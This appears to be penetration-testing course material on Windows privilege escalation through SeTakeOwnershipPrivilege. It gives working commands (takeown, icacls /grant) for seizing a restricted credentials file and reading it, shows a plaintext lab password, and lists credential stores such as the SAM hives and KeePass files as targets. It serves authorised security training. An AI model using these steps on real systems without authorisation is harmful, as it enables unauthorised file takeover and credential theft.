Windows Privilege Escalation — SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege (“Take ownership of files or other objects”) grants WRITE_OWNER rights over any securable object — AD objects, NTFS files/folders, printers, registry keys, services, processes — letting the holder change the owner field in the object’s security descriptor, regardless of the existing DACL. Administrators get it by default.

Set via GPO: Computer Configuration ⇾ Windows Settings ⇾ Security Settings ⇾ Local Policies ⇾ User Rights Assignment ⇾ Take ownership of files or other objects.
Rare on standard user accounts, but sometimes granted to a service account doing backup/VSS jobs, often alongside SeBackupPrivilege, SeRestorePrivilege, and SeSecurityPrivilege — a more granular alternative to full local admin. Those sibling privileges can often escalate on their own, but take-ownership abuse is a useful fallback when other routes are blocked.
Can also apply in AD: if a GPO can be abused (e.g. via SharpGPOAbuse) to grant this right to a controlled user, it can be leveraged to read sensitive files on a file share.

With this privilege, taking ownership of an arbitrary object can lead to data access, RCE, or DoS.

⚠️ Caution

Changing ownership is a destructive action — it can break an application or disrupt other users of the object (e.g. a live web.config), and reverting ownership/ACLs on deeply nested paths can be hard to undo cleanly. Get client consent before touching anything beyond a disposable test target, and document (rather than fully exploit) when impact is uncertain.

Leveraging the Privilege

1. Check and enable the privilege

PS C:\htb> whoami /priv

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled

Like other privileges, it may show Disabled even when assigned. Enable it in the current token with Enable-Privilege.ps1 (see also the related blog posts it’s based on):

PS C:\htb> Import-Module .\Enable-Privilege.ps1
PS C:\htb> .\EnableAllTokenPrivs.ps1
PS C:\htb> whoami /priv

Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled

2. Identify a target and current owner

File shares with Public/Private department subdirectories are common hunting grounds — list-only access to a directory plus “Access denied” on individual files is a strong signal something inside is restricted but discoverable.

PS C:\htb> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' |
    Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}

If owner doesn’t display, current permissions aren’t sufficient to view it — check the parent directory’s owner instead:

PS C:\htb> cmd /c dir /q 'C:\Department Shares\Private\IT'

06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  .
06/18/2021  12:23 PM                36 ...                    cred.txt

Here the folder (and presumably the file) is owned by a service account (sccm_svc).

3. Take ownership

PS C:\htb> takeown /f 'C:\Department Shares\Private\IT\cred.txt'

SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "WINLPE-SRV01\htb-student".

Confirm:

PS C:\htb> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' |
    select name,directory, @{Name="Owner";Expression={(Get-ACL $_.Fullname).Owner}}

Name     Directory                       Owner
----     ---------                       -----
cred.txt C:\Department Shares\Private\IT WINLPE-SRV01\htb-student

4. Grant read access via ACL

Owning the file doesn’t automatically grant read access — the DACL still needs updating with icacls:

PS C:\htb> cat 'C:\Department Shares\Private\IT\cred.txt'
cat : Access to the path 'C:\Department Shares\Private\IT\cred.txt' is denied.

PS C:\htb> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F

processed file: C:\Department Shares\Private\IT\cred.txt
Successfully processed 1 files; Failed processing 0 files

5. Read the file

PS C:\htb> cat 'C:\Department Shares\Private\IT\cred.txt'

NIX01 admin
root:n1X_p0wer_us3er!

Read locally, via RDP, or copy down for offline processing (e.g. cracking a KeePass database found the same way).

6. Clean up

Revert ownership and ACL changes afterward whenever possible. If reversion isn’t feasible, notify the client and document the exact changes made in a report appendix.

When to Use

Good candidate files/paths once ownership abuse is viable:

c:\inetpub\wwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

Also watch for .kdbx KeePass databases, OneNote notebooks, passwords.* / pass.* / creds.* files, scripts, other config files, and virtual hard drive files — all common sources of credentials once read access is obtained.

Takeaways

SeTakeOwnershipPrivilege bypasses the existing DACL by letting you reassign ownership, but a follow-up icacls grant is usually still needed to actually read/write the object.
Treat it as an edge-case technique: useful when other privesc paths are blocked, or when GPO abuse grants it to a controlled account for file-share credential hunting.
Always weigh the destructive/irreversible nature of ownership changes against client risk tolerance; document rather than exploit when in doubt.

Keyboard shortcuts

notebook